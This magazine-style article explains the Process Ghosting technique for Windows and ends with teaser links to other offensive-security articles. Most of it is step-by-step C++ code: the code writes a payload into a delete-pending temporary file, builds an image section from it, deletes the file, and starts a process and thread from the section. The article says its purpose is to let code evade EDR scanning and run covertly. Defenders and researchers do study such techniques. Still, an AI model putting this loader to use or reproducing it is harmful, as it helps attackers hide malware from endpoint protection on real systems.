
Process Ghosting is one of the most relevant techniques nowadays. Using it, an attacker can run malicious code from an already deleted file. Process Ghosting is frequently used in combat malware. But to understand how it works, let’s go through the basics first.
warning
This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.
This article frequently mentions NTAPI functions. As you are likely aware, they cannot be just called; instead, you have to run them dynamically from ntdll.
.
EDR (Endpoint Detection and Response)
EDR tools often use various functions to monitor process creation, including:
- PsSetCreateProcessNotifyRoutineEx;
- PsSetCreateProcessNotifyRoutineEx2; and
- PsSetCreateProcessNotifyRoutine.
The file is scanned at startup, or more precisely, at the time of process creation. Below are the prototypes of the above-listed functions:
NTSTATUS PsSetCreateProcessNotifyRoutine( // Callback function of the handler [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, [in] BOOLEAN Remove);NTSTATUS PsSetCreateProcessNotifyRoutineEx( // Callback function of the handler [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove);NTSTATUS PsSetCreateProcessNotifyRoutineEx2( // Callback function of the handler [in] PSCREATEPROCESSNOTIFYTYPE NotifyType, [in] PVOID NotifyInformation, [in] BOOLEAN Remove);
Important: scan occurs precisely when the process starts, not in any other situation. This is done to save computational resources: otherwise, scanning all files in the system would take a very long time, especially during write operations.
For EDR, everything seems to be fine if a process is created using the NtCreateUserProcess
function (a modern NTAPI first introduced in Windows Vista): it performs almost all actions required to create a process and its first thread. All steps are performed in its context: the first thread of the process is created, callbacks from PsSetCreateProcessNotifyRoutineEx
are called, and so on. It’s really difficult to affect these procedures from the outside. Most importantly, EDR protection tools are effective only in this scenario because they expect the process to be created using NtCreateUserProcess
.
In a similar way, NTAPI can be called by standard APIs such as CreateProcess
(CreateProcess
→ CreateProcessInternalW
→ NtCreateUserProcess
) or RtlCreateUserProcess
(RtlCreateUserProcessEx
→ RtlpCreateUserProcess
→ NtCreateUserProcess
). In other words, even if you write code using WinAPI (which is a pretty rare thing nowadays), the ‘correct’ NtCreateUserProcess
function will still be called, thus, satisfying requirements of EDR tools.
But everything changes if you create a process using the NtCreateProcessEx
function. It’s older than NtCreateUserProcess
and was left in Windows for backward compatibility. The point is that this function makes it possible to create a process in a more ‘manual’ way: you can affect the creation of threads and run them from user mode. Furthermore, this operation is possible even if you replace or delete files and processes or set the required flags (which is what you actually do). As a result, your executable code remains only in memory and avoids scanning because it has already been deleted from the hard drive before the creation of its first thread.
Coding
Done with theory, let’s start programming. The following steps are required to implement Process Ghosting.
First, you have to create a temporary file that will be subsequently deleted. I am going to create such a file using the NtCreateFile
NTAPI function (don’t forget to grant it the required rights: delete, write, etc.). And, of course, this file should be stored in the folder for temporary files.
HANDLE hProcess = INVALID_HANDLE_VALUE;HANDLE hSection = INVALID_HANDLE_VALUE;HANDLE hTempFile = INVALID_HANDLE_VALUE;HANDLE hThread = INVALID_HANDLE_VALUE;wchar_t filename[MAX_PATH] = { 0 };wchar_t path_of_tempfile[MAX_PATH] = { 0 };UNICODE_STRING file_name = { 0 };IO_STATUS_BLOCK io_stat_block = { 0 };OBJECT_ATTRIBUTES attributes = { 0 };wstring nt_path = L"\\??\\" + wstring(filePath);DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename); if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;RtlInitUnicodeString(&file_name, nt_path.c_str());InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);NTSTATUS status = NtOpenFile(&hTempFile, DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &attributes, &io_stat_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Next, you have to mark this file as ready to be deleted. For this purpose, use the NtSetInformationFile function and set the value of the last argument to FileDispositionInformation
. This will add the DeletePending flag to your file. Since that moment, the operating system will be ready to delete this temporarty file as soon as its handle is closed.
FILE_DISPOSITION_INFORMATION info = { 0 };info.DeleteFile = TRUE;status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Now write the code (function NtWriteFile
) you want to be executed bypassing monitoring tools into your temporary file.
LARGE_INTEGER offset = { 0 };status = NtWriteFile( hTempFile, NULL, NULL, NULL, &status_block, // Buffer with payload myCodeBuf, // Payload size myCodeSize, &offset, NULL);if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Then you have to create a section object from your temporary file by calling the NtCreateSection
function. Don’t forget to set the correct function arguments: PAGE_READONLY
and SEC_IMAGE
(they will indicate that you are dealing with an executable image file).
status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, // Create section from temporary file hTempFile);if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;
Now you can close the temporary file handle by calling NtClose
. Since this temporary file was created with the DeletePending
flag, as soon as the handle is closed, the OS immediately deletes the file.
NtClose(hTempFile);
The next step is to create a process from your section. As a result, you get a handle to a new process, which will be subsequently used to create a thread inside your process.
status = NtCreateProcessEx( &hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, // Your section created in an earlier step hSection, NULL, NULL, FALSE);if (status != STATUS_SUCCESS) return 1;
To enable your thread to run in the OS, you have to configure PEB and process parameters.
First, let’s take care of the parameters:
UNICODE_STRING ImagePath = { 0 };UNICODE_STRING DllPath = { 0 };wchar_t curDirPath[MAX_PATH] = { 0 };UNICODE_STRING CurrentDirectory = { 0 };UNICODE_STRING WindowTitle = { 0 };wchar_t dllSystemDir[] = L"C:\\Windows\\System32";wchar_t* windowTitle = (LPWSTR)L"Calculator";PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;LPVOID Environment;RtlInitUnicodeString(&ImagePath, victimPath);GetCurrentDirectoryW(MAX_PATH, curDirPath);RtlInitUnicodeString(&CurrentDirectory, curDirPath);RtlInitUnicodeString(&DllPath, dllSystemDir);RtlInitUnicodeString(&WindowTitle, windowTitle);CreateEnvironmentBlock(&Environment, NULL, TRUE);NTSTATUS status = RtlCreateProcessParametersEx( &pProcessParams, (PUNICODE_STRING)&ImagePath, (PUNICODE_STRING)&DllPath, (PUNICODE_STRING)&CurrentDirectory, (PUNICODE_STRING)&ImagePath, Environment, (PUNICODE_STRING)&WindowTitle, nullptr, nullptr, nullptr, RTL_USER_PROC_PARAMS_NORMALIZED);if (status != STATUS_SUCCESS) return 1;
Writing the parameters to the process (I omit endless if
statements required to check call correctness):
VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);
Time to configure PEB. In fact, this is a standard procedure implemented when such processes are started using NtCreateProcessEx
and similar functions. It’s present in any code and isn’t specific to Process Ghosting.
PEB peb_struct = { 0 };PROCESS_BASIC_INFORMATION pbi = { 0 };SIZE_T count = 0;DWORD RetLen = 0;status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &RetLen);if (status != STATUS_SUCCESS) return 1;ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress;ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct;LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset);if (!WriteProcessMemory(hProcess, new_image_base, &pProcessParams, sizeof(PVOID), &count)) return 1;
Creating the first thread in your process using the NtCreateThreadEx
function:
status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)processEntryPoint, // It can be computed using the formula: processEntryPoint = PEB.ImageBaseAddress + EntryPoint of your injected code NULL, FALSE, 0, 0, 0, NULL);if (status != STATUS_SUCCESS) return 1;
Conclusions
Congrats! Now you can covertly start processes using Process Ghosting! But it’s too early to rest on the laurels. Techniques used to hide code execution are just the first step towards full ‘invisibility’. In addition, this trick leaves some artifacts in memory (although other techniques can be applied to avoid detection). I am going to continue this series of publications; so, see you soon!

2023.07.07 — VERY bad flash drive. BadUSB attack in detail
BadUSB attacks are efficient and deadly. This article explains how to deliver such an attack, describes in detail the preparation of a malicious flash drive required for it,…
Full article →
2022.01.13 — Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework
Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines…
Full article →
2022.02.09 — Dangerous developments: An overview of vulnerabilities in coding services
Development and workflow management tools represent an entire class of programs whose vulnerabilities and misconfigs can turn into a real trouble for a company using such software. For…
Full article →
2022.02.15 — First contact: How hackers steal money from bank cards
Network fraudsters and carders continuously invent new ways to steal money from cardholders and card accounts. This article discusses techniques used by criminals to bypass security…
Full article →
2023.03.26 — Poisonous spuds. Privilege escalation in AD with RemotePotato0
This article discusses different variations of the NTLM Relay cross-protocol attack delivered using the RemotePotato0 exploit. In addition, you will learn how to hide the signature of an…
Full article →
2022.06.03 — Vulnerable Java. Hacking Java bytecode encryption
Java code is not as simple as it seems. At first glance, hacking a Java app looks like an easy task due to a large number of available…
Full article →
2022.02.09 — Kernel exploitation for newbies: from compilation to privilege escalation
Theory is nothing without practice. Today, I will explain the nature of Linux kernel vulnerabilities and will shown how to exploit them. Get ready for an exciting journey:…
Full article →
2023.04.20 — Sad Guard. Identifying and exploiting vulnerability in AdGuard driver for Windows
Last year, I discovered a binary bug in the AdGuard driver. Its ID in the National Vulnerability Database is CVE-2022-45770. I was disassembling the ad blocker and found…
Full article →
2023.03.03 — Infiltration and exfiltration. Data transmission techniques used in pentesting
Imagine a situation: you managed to penetrate the network perimeter and gained access to a server. This server is part of the company's internal network, and, in theory, you could…
Full article →
2022.01.12 — First contact. Attacks against contactless cards
Contactless payment cards are very convenient: you just tap the terminal with your card, and a few seconds later, your phone rings indicating that…
Full article →